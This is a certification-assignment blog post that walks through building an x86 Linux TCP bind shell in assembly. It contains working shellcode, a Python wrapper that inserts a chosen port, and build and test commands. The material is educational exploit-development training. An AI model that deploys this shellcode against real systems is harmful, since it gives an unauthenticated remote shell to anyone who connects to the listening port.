SLAE- Assignment #1- Bind Shell

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert

SLAE #1488
Author: Aaron Weathersby
Handle: t0b0rx0r
github: https://github.com/t0b0rX0r/slae/tree/master/assignment1

The requirements for this exam assignment were to create a TCP BIND shell within x86 assembly. Additionally ensure that the port was easily configurable. To complete this assignment I first began to research socket connections within linux. After a bit of research I found the following reference documents.

Through the research I identified the following flow towards create a network socket, listening for connections, binding a file descriptor and executing the content.

Courtesy of https://www.geeksforgeeks.org/socket-programming-cc/

Having acquired a basic understanding for how a bind shell could work (a server listening on a port executing commands received via STDIN) i went about trying to identify the appropriate system calls that matched to the above diagram.

Initially I attempted to use to use direct socket calls. After some frustration i found that sys_socket calls were a bit my speed. Utilizing the system call resource file (unistd_32.h) i identified the relevant system call socketcall 102.

Additional research identified the net.h file and its available SYS_<socketcall> options.

 cat /usr/include/linux/net.h | more

From there with socket call values identified I proceeded to go through and build a basic assembly application in the following format:

Socket ->Bind->Listen->Accept->Execute(duplicate descriptor->stdin->execute).

To begin I assigned several constants.

%assign AF_INET 2
%assign  SYS_SOCKET 1; sys_socket = 1 
%assign SOCK_STREAM 1 ; Connection TCP 
%assign SYS_BIND 2; sys_bind = 2
%assign SYS_LISTEN 4; sys_ listen =4
%assign SYS_ACCEPT 5; socket
Socket
Here I built the socket connection. First I loaded hex 0x66 to create a socket call. Then using the structure socket (domain, type, protocol), where domain = IP, protocol = TCP, and type = sock_stream (connection oriented protocol). This returns as file descriptor within EAX.
;Socket
	xor eax,eax
	mov al,0x66 ; syscall - socketcall
	mov bl, SYS_SOCKET ; type sys_socket
	; socket(domain,type,protocol)
	xor edx,edx
	push edx ; protocol
	push SOCK_STREAM ; type
	push AF_INET ; domain 2
	mov ecx, esp

	int 0x80
	mov esi,eax

Bind

Then it was necessary to bind the socket onto a particular port. Note for the raw assembly i bind on port 4444 but using a python wrapper this gets replaced as needed. I first built a struct (variables on a stack with a pointer to them) and then built the actual system call.

;bind
	mov al,102
	mov bl, SYS_BIND
	; bind (sockfd, struct sockaddr * addr, socklen_t addrlen)
	; bind (eax [4444,2],??)

	; build struct sockaddr
	;push AF_INET;
	push edx
	;push input ;userinput of port bind
	push word 0x5c11; port 4444 DEC -> HEX, little endian
	push word AF_INET ; 
	mov ecx,esp

	;build bind
	push byte 0x10; length ...need to figure out how to calculate
	push ecx ; point er to sockaddr
	mov edi,esi ; copy fd
	push esi ; fd

	mov ecx,esp ; make pointer to args into ecx

	int 0x80

Listen

In this code section it was necessary to take the socket file descriptor and have it begin listening for input.

;listen
; listen(sockfd,int backlog)
	mov esi,edi ; copy fd to esi
	mov al, 102
	mov bl, SYS_LISTEN ; 4
	push edx ; backlog
	push esi ;  fd =3
	mov ecx,esp
	int 0x80

Accept

Next, i needed the code to accept an incoming connection on the bound port.

;accept
; accept(sockfd,struct sockaddr,*socklen)
	mov al,102
	mov bl, SYS_ACCEPT
	push edx
	push edx
	;push 0x3
	push esi ; fd=3
	mov ecx,esp
	int 0x80

Dup

This part took the longest to figure out and realize what needed to take place. Ultimately I ended up reviewing others C examples to realize that the file descriptor needed to be duplicated to use it for STDIN,STDOUT and STDERROR. I opted to create a short look to iterate over a 4 times.

mov bl,al ;return value is in eax, is the new FD! ...had to fix this to make it work
xor ecx,ecx
; dup2 (old,new)
; dup2(ebx,ecx++)
builddup:
	mov al,0x3f ; dup2 63 system call
	int 0x80
	inc ecx
	cmp cl,0x4

	jne builddup

Execute

And finally executing the incoming socket by sending it to a shell.

xor eax,eax
push  eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
mov ecx,edx ; move zero
mov al, 0xb
int 0x80

Below is a completed copy of the above code snippets.

To allow for quick use i created a python wrapper to allow for easy modification of the port usage.

import sys
import struct
import binascii
#Author: Aaron Weathersby
#SLAE #1488
#Handle: t0b0x0r
#github:https://github.com/t0b0rX0r/slae/tree/master/assignment1 
#Assignment #1- Bind Shell
#created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert

def checkport(port):

	if len(port) < 10:
		print "Port less than 10"
		port='0x' + port[2:].zfill(4)
		print "Padded: "+port
		#sys.exit()
	elif len(port) < 100:
		print "Port less than 100"
		port='0x' + port[2:].zfill(2)
		print "Padded: "+port
		#sys.exit()
	elif len(port) < 1000:
		print "Port less than 1000"
		port='0x' + port[2:].zfill(1)
		print "Padded: "+port
		#sys.exit()
	return port

def main():
	encoded=""
	total = len(sys.argv)
	port=""

	if total != 2:
		print "Usage: python slae_assignment_1.py [port]"
	else:
		port = sys.argv[1]
		print "Port: "+port
	
		port = hex(int(port)) 
		print "Port in Hex: "+port
		#Pad port incase its less than 4 Digits
		port=checkport(port)
	

		port_Bendian=port[0]+""+port[1]+port[4]+port[5]+port[2]+port[3]
	
		be1="\\x"+port_Bendian[2]+port_Bendian[3]
		be2="\\x"+port_Bendian[4]+port_Bendian[5]
		print "Big Endian: "+be1 +be2
		shell=("\x31\xc0\xb0\x66\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x52\x66\x68"+"\x99"+"\x66\x6a\x02\x89\xe1\x6a\x10\x51\x89\xf7\x56\x89\xe1\xcd\x80\x89\xfe\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x52\x56\x89\xe1\xcd\x80\x88\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x80\xf9\x04\x75\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80")
		
		for x in bytearray(shell):
			
			#print "Encoded: "+'\\x%02x'%x#+" X: "+str(x)
			#print "\\x99 ="+ str(bytearray("\\x99"))
			y='\\x%02x'%x
			if y==str(bytearray("\\x99")):
				#print "FOund"
			
				encoded+=be2+be1
			else:
				encoded+='\\x'
				encoded+='%02x' % x
		print "Paste this into Shellcode.c"
		print '"'+encoded+'";'
		

if __name__== "__main__":
  main()

Using objdump i extracted the machine code from the nasm file. Notably through trial and error I was able to remove all \x00 from the file. This was accomplished by substituting 16 bit registry references over 32bit ones (AL vs EAX)

$ objdump -d ./slae-assignment1-bindshell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
Output of python app showing the port that was selected, the modification of that port to hex in Big Endian notation and the finale shell output in C style format

Though the assembly works without the shellcode.c wrapper i opted to use it to faciliate the python port wrapper

gcc shellcode.c -o shellcode -fno-stack-protector -z execstack

I then executed the shellcode.c with sudo rights otherwise lower order ports seemed to have issue being assigned by the OS

sudo strace ./shellcode …..strace was used to show the progress of system calls
output of strace shows application having completed the socket->bind->listen phases and waiting at accept on port 1234
active listener on port 1234